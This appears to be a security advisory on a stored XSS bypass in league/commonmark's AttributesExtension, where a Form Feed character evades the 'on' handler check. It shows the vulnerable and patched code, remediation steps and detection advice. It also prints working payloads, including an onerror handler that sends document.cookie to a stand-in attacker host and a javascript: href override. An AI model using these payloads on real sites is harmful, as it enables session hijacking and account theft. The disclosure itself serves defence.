Sep 2, 2026·7 min read·13 visits
A validation mismatch between PHP's regex matching and native trimming permits the Form Feed character (\x0C) to survive attribute parsing. Browsers treat this character as whitespace, translating bypassed attributes into executable javascript handlers.
An inconsistency in whitespace handling between the PCRE regex engine, PHP's native trim function, and web browsers allows unauthenticated attackers to bypass XSS protections in the league/commonmark AttributesExtension by injecting a Form Feed (U+000C) control character.
The league/commonmark library is a widely utilized PHP package designed to parse Markdown specifications into safe HTML. It exposes an optional AttributesExtension that allows content authors to append attributes, such as classes, identifiers, and custom values, directly to Markdown elements using curly-brace expressions. When accepting input from untrusted sources, security teams rely on internal sanitization logic in this extension to block malicious event handlers and unsafe URI schemes.
A significant security gap exists within the filter validation of the AttributesExtension. A remote attacker can construct a payload containing a leading control byte, specifically the Form Feed character (U+000C), prefixing an attribute name. Due to an validation inconsistency, the malicious attribute bypasses the XSS defense layer, is serialized into the raw HTML, and is executed by downstream browsers.
The vulnerability affects all deployments running versions 2.7.0 up to 2.9.0 where the AttributesExtension is active and handles user-controlled Markdown input. Applications processing comments, profile information, or user documents are directly vulnerable to persistent Cross-Site Scripting (XSS).
The core flaw lies in a structural parser differential involving the PHP PCRE regular expression engine, PHP's native string manipulation functions, and HTML5 browser tokenizer specifications. The extraction of custom attributes utilizes a regular expression defined by the pattern SINGLE_ATTRIBUTE in AttributesHelper.php. Because this pattern relies on the PCRE character class shorthand \s, it successfully matches the Form Feed control character (\x0C or \f).
After matching, the package parses the attribute using PHP's native trim() function to clean white spaces. When called without a custom character mask, the trim() function removes standard whitespace such as carriage returns, new lines, horizontal tabs, vertical tabs, and spaces. However, the default mask of the trim() function does not match the Form Feed character. Consequently, the leading byte is left attached to the attribute name.
The sanitization blocklist within the helper checks the extracted attribute names using simple string operations like str_starts_with($name, 'on'). Since the parsed attribute name is evaluated as \x0Conclick instead of onclick, the prefix check evaluates to false. The sanitizer permits the attribute, which is eventually serialized into raw output as <p \x0Conclick="alert(1)">. Modern web browsers treat the Form Feed control character as empty whitespace separation, interpreting the string as a functional onclick event handler.
The parser logic prior to version 2.9.1 processed the attribute matches inside a standard while loop within AttributesHelper::parseAttributes(). Below is the vulnerable code segment showing the direct call to the unmasked trim() function:
// Vulnerable implementation in AttributesHelper.php
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'))) {
// ... Match parsing and extraction logic ...
if (\strtolower(\trim($name)) === 'class') {
foreach (\array_filter(\explode(' ', \trim($value))) as $class) {
$attributes['class'][] = $class;
}
} else {
$attributes[\trim($name)] = \trim($value); // Vulnerable: \trim() leaves \x0C attached to the name key
}
}The patched implementation resolves the parsing mismatch by introducing a custom WHITESPACE character mask constant that explicitly includes the Form Feed character (\x0C). In addition, the patch adds a strict verification layer verifying that the attribute name is a syntactically valid structure before allowing downstream processing:
// Patched implementation (Commit: dfcdf4554c16aa37c15e3a5ee3243ee26147c239)
private const WHITESPACE = " \t\n\r\0\x0B\x0C"; // Form Feed (\x0C) is now included in the custom trim mask
while ($attribute = \trim((string) $attributeCursor->match('/^' . self::SINGLE_ATTRIBUTE . '/i'), self::WHITESPACE)) {
// ...
if (\strtolower(\trim($name, self::WHITESPACE)) === 'class') {
foreach (\array_filter(\explode(' ', \trim($value, self::WHITESPACE))) as $class) {
$attributes['class'][] = $class;
}
} else {
$attributes[\trim($name, self::WHITESPACE)] = \trim($value, self::WHITESPACE); // Safe: Form Feed is stripped from keys and values
}
}The patch also introduces an active validation check within the filterAttributes() method using the package's existing PARTIAL_ATTRIBUTENAME regular expression. This defensive-in-depth addition ensures that even if other unrecognized non-printable characters survive the initial cleaning, any attribute whose name contains illegal characters is immediately dropped:
// Validation addition inside filterAttributes()
foreach ($attributes as $name => $value) {
if (\preg_match('/^' . RegexHelper::PARTIAL_ATTRIBUTENAME . '$/i', (string) $name) !== 1) {
unset($attributes[$name]); // Drops any attributes containing invalid name syntax
continue;
}
$attrNameLower = \strtolower((string) $name);
// ... Blocklist checks remain ...
}Exploiting this bypass requires that the target web application has enabled the AttributesExtension and outputs parsed HTML without additional context-aware sanitization layers. The attacker crafts Markdown inputs containing the literal Form Feed control character. Since the character is non-printable, it is represented as \x0C or \f in standard exploit payloads.
hello {onclick="alert(document.domain)"}This input renders as <p onclick="alert(document.domain)">hello</p>. When parsed by a browser, the Form Feed functions as an attribute delimiter, rendering the malicious script runnable on interaction. To perform an automated, zero-click attack, the adversary can utilize an image element combined with an onerror handler:
{onerror="fetch('http://malicious.example.com/steal?cookie='+document.cookie)"}Another variation targets links to execute the javascript: protocol. This bypasses typical URL filtering schemes since the injected attribute appears as href, preceding the safe URL generated by the markdown renderer:
[click](https://example.com){href="javascript:alert(1)"}Because the HTML5 standard specifies that the first encountered attribute of the same name overrides subsequent ones, the browser loads the javascript: link rather than the legitimate URL, executing arbitrary client-side code upon clicking.
The security impact of this parser bypass is classified as Cross-Site Scripting (XSS). If successfully exploited, an attacker can execute arbitrary JavaScript code within the context of the victim's browser session. Depending on the design of the hosting platform, this can lead to account hijacking, session theft, and unauthorized actions.
Because the payload is stored inside the target application's database and rendered to other users, it operates as a high-reliability Stored XSS vulnerability. This elevates the danger, as it does not rely on persuading a victim to click an external, suspicious link; standard navigation to a compromised page initiates the execution vector.
The CVSS v3.1 base score is assessed at 5.8 (Medium severity). While the technical exploit guarantees arbitrary execution on the client, the scope remains bounded within the browser's sandbox environment. However, if the web application hosts highly privileged management consoles, exploitation against administrators can compromise the entire underlying platform.
The absolute remediation step is upgrading the league/commonmark package to version 2.9.1 or later. This introduces the custom whitespace cleaning routines and strict regular expression checks that structurally eliminate the bypass vectors. Applications managed via Composer should update the dependencies using standard package manager commands.
composer update league/commonmarkIf upgrading immediately is not technically feasible, security teams can implement defensive workarounds via configuration. Specifying an explicit allowlist of attributes forces the parser to discard any attribute key not present on the whitelist, neutralizing the obfuscated inputs.
$environment = new Environment([
'attributes' => [
'allow' => ['id', 'class', 'style', 'align'] // Only safe attributes allowed
]
]);Additionally, intrusion detection systems (IDS) and Web Application Firewalls (WAF) can scan incoming request bodies for anomalous non-printable bytes within Markdown syntax. Detecting the Form Feed character (\x0C) nested inside curly brace configurations provides a reliable indicator of active exploitation attempts.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
league/commonmark thephpleague | >= 2.7.0, < 2.9.1 | 2.9.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS v3.1 | 5.8 |
| Exploit Status | poc |
| EPSS Score | 0.01 |
| Impact | Stored / Reflected Cross-Site Scripting (XSS) |
The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-109619 (PHP2Shell) is a critical Use-After-Free vulnerability in the core PHP engine caused by improper global state cleanup during out-of-memory exception handling across persistent worker requests.
In Python virtualenv prior to version 21.14.9, activation script generators and configuration writers use Path.exists() before writing files. Because Path.exists() resolves symbolic links, it returns False for dangling symlinks. Consequently, virtualenv skips unlinking pre-planted symbolic links or hard links, writing data directly to target locations outside the intended virtual environment directory.
A remote code execution vulnerability exists in Microsoft .NET due to untrusted data deserialization within the PresentationCore component. The flaw stems from implicit auto-conversion flags during clipboard data retrieval operations.
An out-of-bounds write vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio allows unauthenticated remote attackers to execute arbitrary code via crafted pixel-shader bytecode or auto-converted clipboard payloads.
ASP.NET Core contains a thread deadlock vulnerability (CWE-833) that allows an unauthenticated remote attacker to cause a denial of service over the network by exhausting server thread pool resources.
CVE-2026-70035 is a high-severity Remote Code Execution (RCE) vulnerability in Microsoft .NET Framework, .NET runtime, and Visual Studio caused by improper handling during the deserialization of untrusted data (CWE-502). An unauthenticated attacker can execute arbitrary code within the context of the affected process by delivering a crafted serialized payload.